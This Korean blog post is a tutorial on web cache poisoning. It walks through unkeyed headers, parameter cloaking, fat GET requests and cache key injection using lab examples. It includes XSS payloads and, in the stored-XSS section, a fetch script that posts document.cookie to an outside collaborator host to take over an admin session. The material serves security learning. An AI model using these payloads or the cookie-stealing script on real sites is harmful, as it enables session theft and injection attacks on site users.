새소식

인기 검색어

Hacking/Web

Web cache poisoning

  • -
반응형

Web cache poisoning

웹 캐시 포이즈닝은 해커가 웹 서버 및 캐시의 동작을 악용하여 유해한 HTTP 응답이 다른 사용자에게 전달되는 공격이다.

기본적으로 웹 캐시 포이즈닝 공격은 2단계로 진행된다. 먼저 해커는 백앤드 서버로부터 조작된 페이로드를 응답하는 방법을 알아야 한다. 성공하면 응답이 캐시에 저장되어 공격 대상자에게 전달되는지 확인해야 한다.

취약한 웹 캐시는 XSS, Javascript injection, open redirection와 같은 공격을 시도할 수 있다.

Web cache poisoning research

이 취약점은 2018년 "Practical Web Cache Poisoning" 연구 논문을 통해 처음으로 대중화되었으며, 2020년에 "Web Cache Entanglement: Novel Pathways to Poisoning"에서 심화되었다. 

Web Cache

Web cache poisoing을 알기 전에 Web cache가 어떻게 작동하는지 알아보자.

서버가 단일 HTTP request에 대해 개별적으로 응답을 보내야 하는 경우 서버에 과부하가 걸린다. 특히 사용량이 많은 경우 성능이 저하될 수 있다. 캐싱을 이러한 문제를 줄이기 위해 사용한다.

캐시는 서버와 사용자 사이에 위치하여 일정 시간동안 특정 요청에 대한 응답은 저장한다. 그런 다음 다른 사용자가 동일한 요청을 보내면 캐시는 저장된 응답을 사용자에게 바로 전달한다. 

출처:https://portswigger.net/web-security/web-cache-poisoning

Cache keys

캐시가 HTTP request를 받으면 먼저 바로 응답할 수 있는 캐시가 있는지 아니면 백앤드 서버에서 처리해야 하는지 결정해야 한다. 캐시는 캐시 키라는 요청 구성 요소를 비교하여 동등한 요청인지 식별한다. 일반적으로 요청라인과 Host header가 포함된다. 그래서 캐시 키에 포함되지 않은 구성 요소는 키가 없는 것을 간주된다.

해당 요청의 캐시 키가 이전 요청의 키과 일치하면 캐시는 동일한 요청으로 간주한다. 그래서 캐시는 저장된 응답값을 제공한다. 이는 캐시 된 응답이 만료될 때까지 일치하는 캐시 키가 있는 모든 요청을 처리한다. 

Impact of a web cache poisioning

웹 캐시 포이즈닝의 영향을 크게 두 가지 요인에 따라 달라진다.

  • 공격자가 정확하게 캐시할 수 있을 때

오염된 캐시는 독립적인 공격이기보단 배포수단에 가깝기 때문에 페이로드의 유해성과 불가분의 관계를 가진다. 그래서 web cache poisioning은 다른 공격과 함께 사용하여 잠재적인 영향을 더욱 확대한다.

  • 영향을 받은 페이지의 트래픽 양

캐시가 오염된 페이지를 방문하는 사용자에게만 오염된 응답이 제공된다. 그래서 트래픽이 많은 웹 페이지인 경우 다양한 사람들에게 영향을 끼칠 수 있다.

 

※ 캐시 항목의 지속 시간이 웹 캐시 포이즈닝의 영향에 반드시 미치는 것은 아니다. 공격을 일반적으로 캐시를 무기한 재감염시키는 방식으로 스크립트를 작성할 수 있다.


Constructing a web cache poisioning attack

일반적으로 웹 캐시 포이즈닝 공격은 다음 단계로 구성된다.

  1. Identify and evaluate unkeyed inputs
  2. Elict a harmful response from the back-end server
  3. Get the response cached

Identify and evaluate unkeyed inputs

모든 웹 캐시 포이즈닝 공격은 헤더와 같은 키가 지정되지 않은 입력 조작에 의존한다. 웹 캐시는 캐시된 응답을 사용자에게 제공할지 여부를 결정할 때 키가 지정되지 않은 입력을 무시한다. 이 동작은 이를 사용하여 페이로드를 주입하고 캐시 된 경우 요청에 일치하는 캐시 키가 있는 모든 사용자에게 제공되는 오염된 응답을 전달할 수 있다는 것을 의미한다.

따라서 web cache poisioning공격을 구성할 때 첫 번째는 서버에서 지원하는 키가 지정되지 않은 입력을 식별하는 것이다. 

Elict a harmful response from the back-end server

키가 지정되지 않은 입력을 식별한 후 웹 사이트에서 이를 처리하는 방법을 알아야 한다.

입력에 제대로 삭제되지 않고 서버의 응답에 반영되거나, 다른 데이터를 동적으로 생성하는 데 사용되는 경우 웹 캐시 포이즈닝을 성공할 수 있다.

Get the response cached

응답이 캐시되는지 여부는 파일 확장자, 콘텐츠 유형, 경로, 상태코드 및 응답 헤더와 같은 모든 종류의 요인에 따라 달라질 수 있다. 악의적인 입력이 포함된 캐시 된 응답을 얻는 방법을 알아내면 익스플로잇을 시도할 수 있다.

출처:https://portswigger.net/web-security/web-cache-poisoning

이러한 프로세스를 통하여 다양한 웹 캐시 포이즈닝 취약점을 사용할 수 있다.

웹 캐시 포이즈닝은 캐시 설계의 일반적인 결함으로 인해 발생할 수도 있고, 특정 웹 사이트에서 캐시를 구현하는 방식으로 인해 발생할 수도 있다.


Exploiting cache design flaws

웹 사이트가 키가 없는 입력을 안전하지 않은 방식으로 처리하고, HTTP 응답을 캐시할 수 있는 경우 웹 캐시 포이즈닝에 취약하다.

예시로 X-Forwarded-Host 헤더를 사용하는 방법이 있는데 X-Forwarded-Host는 HTTP 헤더에서 클라이언트가 요청한 원래 Host 헤더를 식별하는 데 사용된다.

XSS Attack

악용할 수 있는 가장 간단한 취약점은 키가 지정되지 않은 입력이 적절한 삭제 없이 캐시 가능한 응답에 반영될 경우이다.

GET /en?region=uk HTTP /1.1
Host: innocent-website.com
X-Forwarded-Host: innocent-website.co.uk

HTTP /1.1 200 OK
Cache-control: public
<meta-property="og:image" content="https://innocent-website.co.uk/cms/social.png" />

여기서 X-Forwarded-Host 헤더는 Open Graph 이미지 URL을 동적으로 생성하는 데 사용되고, 응답에 반영한다.

웹 캐시 포이즈닝인 경우 X-Forwarded-Host 헤더는 키가 지정되지 않는다. 

GET /en?region=uk HTTP /1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

HTTP /1.1 200 OK
Cache-control: public
<meta-property="og:image" content="https://a."><script>alert(1)</script>"" />

이 블로그는 Stored XSS 취약점이 있다. 이 취약점을 이용하여 웹 캐시 포이즈닝을 해보자.

<script>
	fetch('https://z00lfxylneuislp3p3g96hey2p8jwakz.oastify.com', {
		method: 'POST',
		mode: 'no-cors',
		body:document.cookie
	});
</script>

해당 commant에 위 script를 넣으면 댓글을 보는 모든 사람이 document.cookie를 포함하는 POST요청을 해당 도메인에 작성한다.

그럼 해당 요청에 대한 session값이 나온다. 그래서 해당 session을 복사하여 cookie값에 넣으면 계정이 admin으로 바뀌는 것을 확인할 수 있다.

exploit unsafe handling of resource imports

일부 웹 사이트는 키가 지정되지 않은 헤더를 사용하여 외부에서 호스팅되는 javascript 파일과 같은 리소스를 가져오는 URL을 생성한다. 그래서 해커는 해당 헤더의 값을 악성 도메인으로 변경하여 악성 javscript파일을 가리키도록 조작할 수 있다.

악성 URL이 포함된 응답이 캐시되면 해커의 javscript파일을 가져와 요청과 일치하는 캐시 키가 있는 모든 사용자의 브라우저 세션에서 실행된다.

예시 http request를 보면 Host에 의해서 해당 host의 경로를 가지고 js파일을 가져오고 있다.

여기서 X-Forwarded-Host를 사용하여 Host를 변경하면 변경한 Host에서 js파일을 가져온다. 그러면 X-Forwarded-Host를 악성 Host로 변경하여 /resource/js/tracking.js파일을 만들면 {{hacker}}/resource/js/tracking.js파일이 실행이 된다.

그래서 악성 URL을 사용하여 alert(document.cookie)를 작성하면 해당 파일이 실행되는 것을 확인할 수 있다.

exploit cookie-handling vulnerabilities

쿠키를 통하여 종종 콘텐츠를 동적으로 생성하는 경우가 있다. 캐시 키에는 호스트 헤더가 포함되어 있지만 쿠키가 포함되어 있지 않을 때, 쿠키를 조작하여 캐시 포이즈닝을 할 수 있다.

HTTP header를 보면 host를 포함하지만 cookie가 포함되어 있지 않다. 그런데 cookie를 조작할 수 있다.

그러면 fehost="%2balert(1)%2b"를 하여 script를 실행시킬 수 있다.

Multiple headers to exploit web cache poisioning vulnerabilities

일부 웹 사이트는 간단한 조작에도 웹 캐시 포이즈닝에 취약하다. 하지만 보통 웹 사이트는 정교한 공격이 필요하며, 해커가 키가 지정되지 않은 여러 입력을 조작하여 요청을 만들 수 있을 때만 가능하다.

GET /random HTTP/1.1
X-Forwarded-Proto: http
Host: innocent-site.com

HTTP/1.1 301 moved permently
Location: https://innocent-site.com/random

예를 들어 https를 사용하는 보안 통신이 필요하다고 가정해 보자. 다른 프로토콜을 사용하여 요청하면 https로 리다이렉트를 동적으로 생성한다.

이 동작 자체는 취약하지 않지만, URL을 동적으로 생성하는 취약점을 이용하여 악성 URL로 리다이렉션을 하는 캐시 가능한 응답을 생성할 수 있다.

리다이렉션하는리다이렉션 하는 URL을 Scheme://Host로 동적으로 만들 수 있으므로, X-Forwarded-Scheme와 X-Forwarded-Host를 이용하여 리다이렉션 하는 URL을 조작하여 악성 URL로 리다이렉션 되게 만들 수 있다.

exploiting response that expose too much information

웹 사이트는 요청사항에 많은 정보를 제공함으로써 웹 캐시 포이즈닝에 취약할 수 있다.

Cache-control directives

캐시 포이즈닝 공격을 구성하기 어려운 이유 중 하나는 유해한 응답이 캐시되도록 만드는 것이다. 그러나 때때로 response는 해커가 성공적으로 캐시를 포이즈닝 하는 데 필요한 일부 정보를 명시적으로 드러낸다.

HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800

위 응답은 캐시가 제거되는 빈도 또는 현재 캐시된 응답이 얼마나 오래되었는지에 대한 정보가 포함된다.

이러한 정보는 직접적으로 웹 캐시 포이즈닝 취약점으로 연결되지는 않지만, 페이로드가 캐시 되기 위한 시간과 타이밍을 알고 있기 때문에 해커가 백엔드 서버에 무작위로 요청을 보내지 않고, 보낼 시간을 지정하여, 캐시를 포이즈닝 할 수 있다.

Vary header

Vary header를 사용하면 해커가 많은 정보를 얻을 수 있다. Vary header는 일반적으로 키가 없는 경우에도 캐시 키의 일부로 처리해야 하는 헤더 목록을 지정한다. 일반적으로는 웹 사이트의 User-Agent 헤더를 키로 지정하여 모바일 사용자인지 웹 사용자인지 구분한다. 이 정보는 특정 사용자를 대상으로 페이로드를 구성할 수 있다. 예를 들어 사용자의 User-Agent 헤더가 캐시 키의 일부라는 것을 알고 있는 경우 의도된 사용자를 식별하여 해당 헤더를 가진 사용자만 영향을 받도록 조작할 수 있다.

Web cache poisioning to exploit DOM-based vulnerabilities

웹 사이트가 키가 없는 헤더를 사용하여 파일을 가져오는 경우 해커는 이것을 악용하여 악성 파일을 가져올 수 있다.

javascript를 사용하여 백엔드에서 추가 데이터를 가져오는 웹 사이트에서 안전하지 않은 스크립트를 사용하여 서버의 데이터를 처리하는 경우 모든 종류의 DOM-based 취약점이 발생한다.

{"someProperty" : "<svg onload=alert(1)>"}

예를 들어 해커는 위 페이로드가 포함된 JSON파일을 가져오는 response로 캐시를 오염시킬 수 있다.

또한 웹 캐시 포이즈닝으로 웹 사이트가 서버에서 악의적인 JSON 데이터를 로드하는 경우 CORS를 사용하여 JSON에 대한 액세스 권한을 부여할 수 있다.

해당 사이트를 Param miner를 돌리면 Secret header가 나오는데 X-Forwarded-Host header가 나온다. X-Forwarded-Host 헤더를 사용할 수 있으면 임의로 Host를 변경할 수 있다.

function initGeoLocate(jsonUrl)
{
    fetch(jsonUrl)
        .then(r => r.json())
        .then(j => {
            let geoLocateContent = document.getElementById('shipping-info');

            let img = document.createElement("img");
            img.setAttribute("src", "/resources/images/localShipping.svg");
            geoLocateContent.appendChild(img)

            let div = document.createElement("div");
            div.innerHTML = 'Free shipping to ' + j.country;
            geoLocateContent.appendChild(div)
        });
}

geolocate.js 코드를 보면 jsonUrl에 있는 json파일로 Free shipping to j.country를 만든다. country의 내용이 Free shipping to 와 더해진다.

그러면 CORS를 이용하여 Dom-based를 이용하면 된다.

일단 X-Forwarded-Host로 악성 URL로 host를 변경한 다음 host에 악성 json을 넣으면 웹 페이지는 악성 host의 json을 참조한다.

X-Forwarded-Host: https://exploit-0a3000ad046672e983230e3a0108003f.exploit-server.net/

{"country": "<img src=1 onerror=alert(document.cookie)>"}를 넣으면 j.country는 <img src=1 onerror=alert(document.cookie)>가 된다. 그래서 cookie가 출력이 된다.


Cache implementation flaws

캐시 구현 결함은 캐싱 시스템의 특정 구현에서 취약점을 악용하여 웹 캐시 포이즈닝 공격을 할 수 있다.

이러한 기술은 BlackHat USA 2020에서 "Web Cache Entanglement: Novel Pathways to Poisoning"으로 공식 문서화가 되었다.

일반적으로 웹 사이트는 URL 경로와 query문자열로 입력을 받는다. 그래서 다양한 공격 벡터로도 사용되었다. 하지만 HTTP Request에서는 캐시 키의 일부로 사용되기 때문에 캐시 포이즈에는 적합하지 않다고 간주되었다. 그래서 키 입력을 통한 payload는 캐시 버스터 역할을 하므로 다른 사용자에게 제공되지 않았다.

그러나 많은 웹사이트는 캐시 키에 저장된 키 구성요소에 대해 다양한 변환을 제공한다. 

  • 쿼리 문자열 제외
  • 특정 쿼리 매개변수 필터링
  • 키가 있는 구성 요소의 입력 정규화

이러한 변환으로 인해 몇가지 문제점이 발생할 수 있다. 이는 캐시 키에 비롯된 데이터와 애플리케이션 코드로 전달된 데이터 간의 불일치를 기반으로 발생한다.

Cache probing methodology

캐시 구현 결함 방법론은 기존의 웹 캐시 포이즈닝 방법론과 다르다. 이러한 기술은 캐시의 특정 구현 및 구성의 결함에 의존한다.  그래서 애플리케이션의 동작을 이해하고 잠재적인 결함을 식별하는 고 수준의 방법론을 설명한다.

Identify a suitable cache oracle

방법론의 첫번째 단계는 테스트에 사용할 수 있는 적합한 캐시 오라클을 식별하는 것이다.

캐시 오라클이란 단순히 캐시 동작에 대한 피드백을 제공하는 페이지 또는 앤드포인트이다. 이것은 캐시 가능해야 하며 캐시 된 응답을 받았는지 아니면 서버에서 받았는지 구분해야 한다. 이것은 다양한 형태를 취할 수 있다.

  • 캐시 여부를 명시적으로 알려주는 HTTP header
  • 동적 컨텐츠에 대한 변경 사항
  • 뚜렷한 응답 시간

이상적으로 캐시 오라클은 응답 전체 URL과 하나 이상의 쿼리 매개변수도 반영한다. 그러면 캐시와 응용 프로그램 간의 구문 분석 불일치를 쉽게 확인할 수 있으며 나중에 다른 exploit을 구성하는데 유용하다.

Probe key handling

두 번째 단계는 캐시 키를 생성할 때 캐시가 입력에 대한 추가 처리를 수행하는지 여부를 조사하는 것이다. 키가 있는 것처럼 보이는 구성 요소 내에 숨겨진 추가 공격 벡터를 찾아야 한다. 그래서 현재 일어나고 있는 변화를 구체적으로 살펴봐야 한다. 예를 들어 캐시 키에 추가할 때 구성요소에서 제외되는 항목이 있는지 살펴봐야 한다.

캐시 키에 직접 액세스할 수 있는 경우 다양한 입력을 하면서 키를 비교하면 된다. 만약 직접 액세스 할 수 없는 경우 캐시 오라클을 이용하여 올바른 캐시를 받았는지 추론해야 한다. 

GET / HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 302 Moved Permanently
Location: https://vulnerable-website.com/en
Cache-Status: miss

가상의 캐시 오라클이 대상 웹 사이트의 홈페이지라고 가정하면 자동으로 지역별 페이지로 리다이렉션 된다.

그래서 Host header를 사용하여 Location header가 동적으로 생성된다.

port가 캐시 키에서 제외되었는지 확인하려면 먼저 임의의 포트를 요청하고 서버로부터 새로운 응답을 받는지 확인해야 한다.

GET / HTTP/1.1
Host: vulnerable-website.com:1337

HTTP/1.1 302 Moved Permanently
Location: https://vulnerable-website.com:1337/en
Cache-Status: miss
GET / HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 302 Moved Permanently
Location: https://vulnerable-website.com:1337/en
Cache-Status: hit

이렇게 Host header에 port를 입력하지 않아도 캐시된 응답이 오면 port가 캐시 키에서 제외되는 것을 확인할 수 있다.

여기서 중요한 점은 전체 header가 여전히 애플리케이션 코드로 전달되고 응답에 반영된다는 것이다. 그래서 Host header에 키가 지정되어 있지만 캐시에 의해 헤더가 변환되는 방식을 통해 다른 사용자의 요청에 매핑될 정상적인 캐시 키를 유지하면서 페이로드를 응용 프로그램에 전달할 수 있다. 이러한 동작이 바로 이잉 섹션의 exploit 핵심 개념이다.

Identify an exploitable gadget

마지막 단계는 이 캐시 키 취약점과 연결할 수 있는 적절한 가젯을 식별하는 것이다. 가젯을 식별하면 reflected XSS와 리다이렉션과 같은 전형적인 클라이언트 취약점을 사용할 수 있다. 이를 웹 캐시 포이즈닝과 결합하면 공격의 심각도를 높일 수 있다. 따라서 해커는 조작된 URL을 방문하도록 유도하는 대신, 일반적인 URL을 방문하는 모든 사용자에게 페이로드가 전달된다. 이러한 기술을 사용하면 종종 이용할 수 없는 것으로 무시되고 패치가 적용되지 않은 상태로 남아 있는 분류되지 않은 여러 취약성을 이용할 수 있다.


Exploit cache key flaws

이제부터 캐시 키 결함을 악용할 수 있는 방법을 살펴보자.

Unkeyed port

Host 헤더는 캐시 키의 일부인 경우가 많으므로 처음에 분석할 때는 페이로드를 넣을 방법이 보이지 않는다. 하지만 캐시 키에서 포트를 제외한다면, Host 헤더를 가지고 웹 캐시 포이즈닝을 사용할 수 있다. 예를 들어 Host 헤더를 기반으로 리다이렉션 URL을 동적으로 생성한다고 한다면 임의의 포트를 추가하여 DoS를 구성할 수도 있고, 다양한 공격을 시도할 수 있다.

Detecting an unkeyed query string

동적 페이지를 식별하기 위해 일반적으로 매개변수 값을 변경했을 때 response에 어떤 영향을 미치는지 분석해야 한다.

그러나 쿼리 문자열에 키가 지정되지 않은 경우 대부분의 경우 cache hit가 발생하므로 추가한 매개 변수에 관계없이 변경되지 않은 response가 발생한다.

캐시와 백앤드가 요청 경로를 정규화하는 방법 사이에 불일치가 있는지 확인하는 방법도 있다. 경로의 키 지정이 거의 보장되므로 이를 이용하여 동일한 endpoint에 도달하는 다른 키로 요청을 실행할 수도 있다.

예를 들어 각 항목은 모드 개별적으로 캐시 되지만 백앤드에서는 GET /와 동일하게 처리된다.

  • Apache: GET //
  • Nginx: GET /%2F
  • PHP: GET /index.php/xyz
  • .NET: GET /(A(xyz) /

그래서 이 취약점을 이용하여 Reflected XSS를 사용할 수도 있다.

해당 URL을 Origin과 GET /을 기반으로 URL을 생성했다. 캐시 키에서 쿼리 문자열을 제외하고 만들면 script를 주입하여 XSS를 일으킬 수 있다.

Unkeyed query parameters

지금까지 일부 웹사이트에서 전체 쿼리 문자열이 캐시 키에서 제외되는 것을 확인했다. 그러나 일부는 백엔드 애플리케이션과 관련 없는 매개변수는 제외하는 웹 사이트도 있다. utm_content와 같은 UTM 매개변수는 이러한 취약점을 테스트하는데 적합하다.

Cache parameter clocking

캐시가 URL을 분석하여 불필요한 매개변수를 식별하고 제거하는 방법을 알아냈다면, 흥미로운점을 발견할 수 있다.

특히 캐시와 애플리케이션 간 구문 분석 불일치가 흥미로운데 이러한 방법을 악용하여 임의의 매개변수를 제외된 매개변수에 숨겨서 접근할 수 있다.

예를 들어 쿼리 문자열의 첫 번째 매개변수는 /? 또는 &가 선행된다. 그런데 구문 분석을 제대로 작성하지 않으면 첫 번째 매개변수인지 여부에 관계없이? 뒤에 오는 변수를 새로운 매개변수로 처리한다.

GET /?example=abc?excluded_param=bad-stuff-here

만약 GET요청이 위와 같이 요청이 들어왔다면 캐시는 두 개의 매개변수를 식별하고 캐시 키에서 두 번째 매개변수를 제외한다.

그러나 서버는 두 번째를 ?를 포함하여 하나의 example 매개변수 값으로 인식한다. 그래서 캐시 키에 영향을 주지 않고, 페이로드를 주입할 수 있다. 

 Exploiting parameter parsing quirks

백엔드가 캐시가 인식하지 못하는 고유한 매개변수를 식별하는 반대 시나리오에서도 유사한 매개변수 클로킹 취약점이 발생할 수 있다. 예를 들어 Ruby on Rails 프레임워크에서는 &와 ;로 구분 기호를 해석한다. 이를 허용하지 않은 캐시와 함께 사용할 경우 잠재적으로 다른 취약점을 악용하여 키가 있는 매개변수의 값을 재정의할 수 있다.

GET /?keyed_param=abc&excluded_param=123;keyed_param=bad-stuff-here

위 요청은 keyed_param 캐시 키에 포함되지만 excluded_param는 포함되지 않는다. 

캐시에서는 두 개의 매개변수로 구분한다.

  1. keyed_param=abc
  2. excluded_param=123;keyed_param=bad-stuff-here

하지만 Ruby on Rails 프레임워크는 ;를 보고 3개의 개별 매개변수로 분할한다.

  1. keyed_param=abc
  2. excluded_param=123
  3. keyed_param=bad-stuff-here

여기서 keyed_param 매개변수가 중복되기 때문에 마지막에 입력한 항목이 우선순위를 부여한다. 그래서 최종으로는 캐시 키에 잘못된 매개변수값이 포함되어 캐시 된 응답을 다른 사용자에게 정상적으로 제공된다. 그러나 백엔드에서는 동일한 매개변수는 주입된 페이로드인 완전 다른 값을 가진다.

예를 들어 웹 사이트가 JSONP를 사용하여 도메인 간 요청을 하는 경우 반환된 데이터에 대해 지정된 함수를 실행하기 위한 callback 매개변수를 포함하는 경우가 많다.

GET /jsonp?callback=innocentFunction

Exploiting fat GET support

경우에 따라 HTTP method가 키가 지정 안될 수도 있다. 이를 통해 body에 악의적인 페이로드를 POST 요청으로 보내 캐시 포이즈닝을 할 수 있다.

그러면 사용자의 GET 요청에 대한 응답으로 페이로드가 제공될 수 있다. 이 시나리오는 매우 드물긴 하지만 GET 요청에 body를 추가하여 fat GET request를 생성하는 것만으로도 비슷한 효과를 얻을 수 있다.

GET /?param=innocent HTTP/1.1

param=bad-stuff-here

이 경우는 캐시 키는 요청 라인을 기반으로 가져오지만 서버는 body에서 매개변수의 값을 가져온다.

Exploiting dynamic content in resource imports

리소스 파일을 가져오는 방식을 일반적으로는 정적으로 가져오지만 일부는 쿼리 문자열의 입력을 반영한다.

브라우저가 볼 때 이러한 파일을 실행하는 경우가 드물고, 공격자는 페이지의 하위 리소스를 로드하는 데 사용되는 URL을 제어할 수 없기 때문에 대부분 무해한 것으로 간주한다. 그러나 웹 캐시 포이즈닝을 이용하여 리소스 파일에 내용을 주입할 수 있다. 

GET /style.css?excluded_param=13);@import... HTTP/1.1

HTTP/1.1 200 OK

@import url(/site/home/index.part1.8a6715a2.css?excluded_param=123);@import...

예를 들어 import문에서 현재 쿼리 문자열을 반영하는 경우 이 동작을 악용하여 모든 페이지에서 중요한 정보를 유출하는 악의적인 CSS를 삽입할 수 있다.

CSS파일을 가져올 때 DOCTYPE를 지정하지 않으면 정적 CSS파일을 악용할 수 있다. 올바른 구성이 주어지면 브라우저는 CSS를 찾는 문서를 검색한 다음 실행한다. 즉 제외된 쿼리 매개 변수를 반영하는 서버 오류를 트리거하여 정적 CSS파일을 포이즈닝 할 수 있다.

GET /stype.css?excluded_param=alert()%0A{}*{color:red;} HTTP/1.1

HTTP/1.1 200 OK
Content-Type: text/html

This request was blocked dute to... alert(1){}*{color:red;}

Normalized cache keys

캐시 키에 적용된 정규화로 인해 공격 가능한 동작이 발생할 수도 있다.

예를 들어 매개변수에서 XSS를 찾으면 실제로 exploit 할 수 없는 경우가 많다. 최신 브라우저는 일반적으로 요청을 보낼 때 필요한 문자를 URL 인코딩하고 서버는 이를 디코딩하지 않는다.

일부 캐싱은 키 입력을 캐시 키에 추가할 때 정규화한다. 이 경우 다음 두 요청을 모두 같은 키를 갖게 된다.

GET /example?param="><test>
GET /example?param=%22%3e%3ctest%3e

Cache key injection

헤더에서 클라이언트 측 취약점을 발견하게 되면 캐시 포이즈닝을 이용할 수 있는데 이것은 전형적인 이용할 수 없는 문제이다.

키가 지정된 구성요소는 종종 문자열과 같이 묶여서 생성된다. 그래서 캐시와 구성 요소 사이의 구분 기호를 적절하게 이스케이프 하지 않으면 이 동작을 이용하여 동일한 캐시 키를 가진 두 개의 서로 다른 요청을 만들 수 있다.

GET /path?param=123 HTTP/1.1
Origin: '-alert(1)-'__

HTTP/1.1 200 OK
X-Cache-Key: /path?param=123__Origin='-alert(1)-'__

<script>…'-alert(1)-'…</script>

위 요청은 '__'를 사용하여 캐시 키의 여러 구성 요소를 구분하고 이스케이프 하지 않는다. 먼저 해당 키 헤더에 페이로드가 포함된 요청으로 캐시를 중독시켜 악용할 수 있다. 그런 다음 피해자가 악성 URL을 방문하도록 유도하면 중독된 응답이 제공된다.

GET /path?param=123__Origin='-alert(1)-'__ HTTP/1.1

HTTP/1.1 200 OK
X-Cache-Key: /path?param=123__Origin='-alert(1)-'__
X-Cache: hit

<script>…'-alert(1)-'…</script>

 

반응형

'Hacking > Web' 카테고리의 다른 글

JWT Attacks  (1) 2023.05.02
Click jacking  (0) 2023.04.25
Directory Traversal  (0) 2023.04.22
DNS Rebinding Attack  (0) 2023.04.16
SOP와 CSP  (0) 2022.05.20
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.